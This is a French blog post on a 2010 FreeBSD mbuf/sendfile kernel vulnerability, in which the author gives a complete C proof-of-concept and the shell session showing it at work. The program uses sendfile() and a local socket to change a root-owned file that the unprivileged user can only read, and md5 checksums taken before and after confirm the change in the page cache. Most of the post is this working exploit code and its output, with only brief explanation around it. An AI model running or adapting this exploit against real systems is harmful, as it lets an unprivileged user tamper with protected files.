FreeBSD mbuf vulnerability
Mardi 13 Juillet 2010, une security advisories tombe. De suite on redoute le pire en voyant l'annonce. Mais avant de patcher mon kernel j'ai voulu jouer avec tout ça. J'ai pas mal tournée en rond pendant plusieurs soirs ( RTFM, lire les sources du kernel, ... ).
A vrai dire ce n'était pas facile de se lancer dans ce mécanisme IPC dont je ne connaissais pas l'existence. Et la security advisories ne donnait pas trop d'indice.
Il y a surtout une chose qu'ils ont omis c'est que ce problème n'arrive que lors de l'envoi de gros fichiers ( quelques megas ). J'ai tout donc réussi à coder le workaround suivant :
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/uio.h> #include <fcntl.h> #include <netinet/in.h> #include <sys/select.h> #include <sys/stat.h> void make_listen(void) { int s,c; struct sockaddr_in addr; struct sockaddr_in cli; socklen_t cli_size; char buf[100]; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(31337); addr.sin_family = PF_INET; s = socket(PF_INET, SOCK_STREAM, 0); if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1) { perror("bind() failed"); exit(EXIT_FAILURE); } listen(s, 3); c = accept(s, (struct sockaddr*) &cli, &cli_size); while (recv(c, buf, sizeof(buf) - 1, 0) > 0) printf("make_listen() :: recv() = %s\n",buf); close(s); } int main (void) { int s, fd; struct sockaddr_in addr; struct stat sb; fd_set wfds; int64_t size; off_t sbytes; if (fork() != 0) { sleep(2); s = socket(PF_INET, SOCK_STREAM, 0); bzero(&addr, sizeof(addr)); addr.sin_family = PF_INET; addr.sin_port = htons(31337); addr.sin_addr.s_addr = INADDR_ANY; if ( connect(s, (struct sockaddr *)&addr, sizeof (addr)) < 0 ) { perror("connect() "); exit(EXIT_FAILURE); } fcntl(s, F_SETFL); if ( ( fd = open("sendfile", O_RDONLY) ) < 0) { perror("open() "); exit(EXIT_FAILURE); } if ( fstat(fd, &sb) < 0 ) { perror("fstat() "); exit(EXIT_FAILURE); } size = sb.st_size; while (size > 0) { FD_ZERO(&wfds); FD_SET(s, &wfds); select(fd+1, NULL, &wfds, NULL, NULL); sbytes = 0; if ( sendfile(fd, s, 0, 500, NULL, &sbytes, 0) < 0 ) continue; size -= sbytes; write(s, "huh\r\n", 5); } close(s); } else make_listen(); return 0; }
On va donc créer un fichier assez conséquent où notre utilisateur n'aura que les droits en lecture :
segfault# perl -e'print "A"x500000' > sendfile
segfault# exit
exit
> ls -al sendfile
-rw-r--r-- 1 root w4kfu 500000 Jul 17 12:40 sendfile
On va regarder le checksum ( md5 ) de notre fichier avant le lancement de notre programme :
> md5 sendfile
MD5 (sendfile) = d8984e20a439a4ad578094b86aee552f
On compile ensuite notre programme et on regarde si il n'y a pas de flag setuid ( non je ne triche pas ! :] )
> gcc -o work work.c
> ls -al work
-rwxr-xr-x 1 w4kfu w4kfu 10142 Jul 17 13:18 work
On éxécute et regardons de nouveau le checksum :
> ./work
....
make_listen() :: recv() =
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA....
....
> md5 sendfile
MD5 (sendfile) = 6edd32bded5b12bb55f54b36f95f1936
Là on se dit : " Yeah ! it works !". Sauf qu'encore une fois l'advisories n'avait pas prévenu de quelque chose. La modification ne se fait que dans le cache, donc si on remonte notre file system le checksum sera le même qu'au départ :
segfault# mount -o rw /dev/ad6s1a /
segfault# exit
exit
> md5 sendfile
MD5 (sendfile) = d8984e20a439a4ad578094b86aee552f
Edit : 19 Août 2010 Un exploit est release par Kingcope, voici le lien.